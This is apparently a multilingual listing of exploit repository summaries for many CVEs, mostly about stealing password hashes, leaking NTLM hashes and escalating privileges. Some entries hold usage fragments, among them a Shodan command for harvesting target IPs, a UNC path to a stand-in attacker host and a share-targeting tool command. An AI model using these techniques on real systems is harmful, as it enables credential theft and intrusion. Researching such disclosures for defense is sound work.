CVE-2008-6970

ОПИСАНИЕ Эксплуатирует ошибку проверки входных параметров PHP и вслепую перебирает хранящийся MD5-хэш SQL для заданного идентификатора пользователя. ФАЙЛ root@kitploit: CVE-2008-6970.sh - Shell code program. ИСТОЧНИК https://github.com/KyomaHooin/CVE-2008-6970...

CVE-2022-41876

CVE-2022-41876 - Раскрытие информации о пользователях eZ Platform В eZ Platform была обнаружена уязвимость, позволяющая неаутентифицированному пользователю получить хэш пароля каждого участника. Этот PoC перечисляет все возможные пути GraphQL, ведущие к объекту 'User', а затем запрашивает эти пут...

CVE-2019-9053

CMS Made Simple 응답 지연을 확인하여 데이터를 한 문자씩 추출합니다. 추출 항목: 솔트 cmssiteprefs 테이블 관리자 사용자 이름 cmsusers 관리자 이메일 cmsusers 관리자 비밀번호 해시 cmsusers 선택적으로 추출된 해시를 제공된 워드리스트와 솔트를 사용하여 크랙을 시도합니다. 참고 사항 ✅ Python 3 완전 호환 TryHackMe/HTB 워크플로에서 안정적. ✅ 가상 환경venv 내에서 깔끔하게 작동. ✅ 진행 상황을 명확하게 추적할 수 있도록 컬러 출력 사용. 면...

monikerlinktest

monikerlinktest cve-2024-21413 1. настройте tun0 или другой tun на маршрутизаторе через openvpn с любым ovpn-файлом 2. установите remmina, если вы ещё этого не сделали 3. подключитесь по RDP к целевому рабочему столу с помощью remmina на порту, к которому подключён ваш ovpn удалите через ip link...

CVE-2019-14314

CVE-2019-14314 CVE-2019-14314 - NextGEN Gallery 3.2.10 Аутентифицированная SQL-инъекция Использование root@kitploit: usage: cve201914314.py -h url loginuser loginpass username CVE-2019-14314 Hash Extractor positional arguments: url URL блога Wordpress loginuser Имя пользователя для входа loginpas...

cve-2019-17497

CVE-2019-17497 Подробности CVE PDF-XChange Editor до версии 8.0.330.0 содержит уязвимость кражи хэша NTLM SSO с использованием специально сформированных файлов FDF или XFDF связанная проблема с CVE-2018-4993. Например, хэш NTLM отправляется по ссылке на \attacker.loca\C$\eee.pdf без взаимодействи...

CVE-2022-26134

CVE-2022-26134 1. Сначала запустите скрипты shodan, чтобы получить все IP-адреса python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt ex: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. Для всех валидных IP-адресов...

EUVD-2026-67449

In the Linux kernel, the following vulnerability has been resolved: ipvs: do not propagate one-packet flag to synced conns Synced connections can be created before their destination exists. When the destination is later added, ipvsbinddest copies connection flags from the destination into cp-flag...

CVE-2024-3183-POC

CVE-2024-3183-POC POC для CVE-2024-3183 FreeIPA Rosting Воздействие: Пользователь с низкими привилегиями может получить хеш паролей всех пользователей домена и выполнить офлайн-перебор kerberoasting. Патч impacket-getTGT: 1. Добавьте decoder.decode.defaultErrorState = stGetValueDecoderByTag в...

AntiWeb_testing-Suite

ICS/OT AntiWeb: Testing Suite Введение Уязвимость была обнаружена в веб-приложениях, связанных с ICS/OT, работающих на серверах Anti-Web до версии 3.8.7. Выявленные уязвимости затрагивают нескольких известных производителей в индустрии автоматизации промышленных процессов и телекоммуникаций. Для...

CVE-2023-22894

Неаутентифицированный эксплойт Strapi: CVE-2023-22894 Этот репозиторий содержит эксплойт доказательства концепции PoC для CVE-2023-22894, который позволяет неаутентифицированным пользователям утекать конфиденциальную информацию и захватывать учетные записи администраторов Strapi, эксплуатируя...

CVE-2026-80714

In the Linux kernel, the following vulnerability has been resolved: ipvs: do not propagate one-packet flag to synced conns Synced connections can be created before their destination exists. When the destination is later added, ipvsbinddest copies connection flags from the destination into cp-flag...

CVE-2023-23397

CVE-2023-23397 Демонстрация эксплуатации и смягчения 📌 Обзор Этот проект демонстрирует обнаружение, эксплуатацию и смягчение CVE-2023-23397 — критической уязвимости нулевого клика для ретрансляции NTLM в Microsoft Outlook для Windows. Эксплуатируемая через приглашения в календаре, эта уязвимость...

misp-extractor

Extracteur MISP Ce code se connecte à un serveur MISP Malware Information Sharing Platform donné et analyse un nombre spécifié d'événements, en écrivant les adresses IP, les URLs et les hachages MD5 trouvés dans les événements dans trois fichiers distincts. Utilisation Pour utiliser ce script, vo...

cve-2025-24071

CVE-2025-24054 및 CVE-2025-24071 - .library-ms 악용을 통한 NTLM 해시 유출 이 PoC는 패치되지 않은 Windows 시스템2025년 3월 Patch Tuesday에서 .library-ms 파일을 통한 NTLM 해시 유출 악용을 시연합니다. ⚠️ 이 내용은 교육 및 연구 목적으로만 제공됩니다. 프로덕션 또는 무단 시스템에서 사용하지 마십시오. 🧠 설명 UNC 경로가 포함된 .library-ms 파일이 Windows 탐색기에서 열리거나 미리 보기되면 지정된 서버로 SMB 인증 요청이 전송되어...

cve-2025-24054

CVE-2025-24071: Утечка NTLM-хэша через файл .library-ms модуль Metasploit Этот репозиторий содержит модуль Metasploit для эксплуатации уязвимости CVE-2025-24071, которая приводит к утечке NTLM-хэша при извлечении вредоносного файла .library-ms из ZIP-архива в Windows Explorer. Разработано:...

CVE-2025-24071-msfvenom

CVE-2025-24071: утечка NTLM-хэша через файл .library-ms модуль Metasploit Этот репозиторий содержит модуль Metasploit для эксплуатации CVE-2025-24071 — уязвимости в Проводнике Windows, которая приводит к утечке NTLM-хэшей при извлечении вредоносного файла .library-ms из ZIP-архива. Разработано:...

LeakedWallpaper

Leaked Wallpaper これは権限昇格ツールです（KB5040434 で CVE-2024-38100 として修正済み）。低権限ユーザーで作業している場合でも、コンピューター上の任意のセッションからユーザーの NetNTLM ハッシュを漏えいさせることができます。 使用方法 root@kitploit: .\LeakedWallpaper.exe \\c$\1.jpg -downgrade Example .\LeakedWallpaper.exe 1 \172.16.0.5\c$\1.jpg -downgrade デモ 動画...

CVE-2022-26923

CVE-2022-26923 – Certifried 익스플로잇 AD CS 남용 CVE-2022-26923 Certifried 익스플로잇 자동화. Active Directory Certificate Services AD CS 및 Resource-Based Constrained Delegation RBCD 남용을 통한 권한 상승을 가능하게 하며, 도메인 관리자 계정의 NTLM 해시 덤프로 이어집니다. ⚠️ 교육 목적으로만 사용 / Lab / HTB 허가되지 않은 환경에서 사용하지 마십시오. 🎯 설명 이 스크립트는 다음과 같은 공격...

TeamsNTLMLeak

설명 사용자가 특수하게 설계된 웹페이지로 연결되는 "웹 사이트" 탭으로 이동하면 Office URL 스킴의 활성화를 통해 NTLM 해시가 노출될 수 있으며, 이로 인해 해시 누출 과정이 단 한 번의 클릭으로 단순화됩니다. 브라우저에서 ms-word:ofv|u|file://Share/File.docx 형식의 링크를 열려고 하면 다음 단계가 필요합니다: 1- 사용자는 Word를 열 의사가 있음을 확인해야 합니다. 2- 사용자는 MS Office의 경고 메시지에 표시된 위험을 인지하고 수락해야 합니다. 그러나 웹 사이트 탭에서는...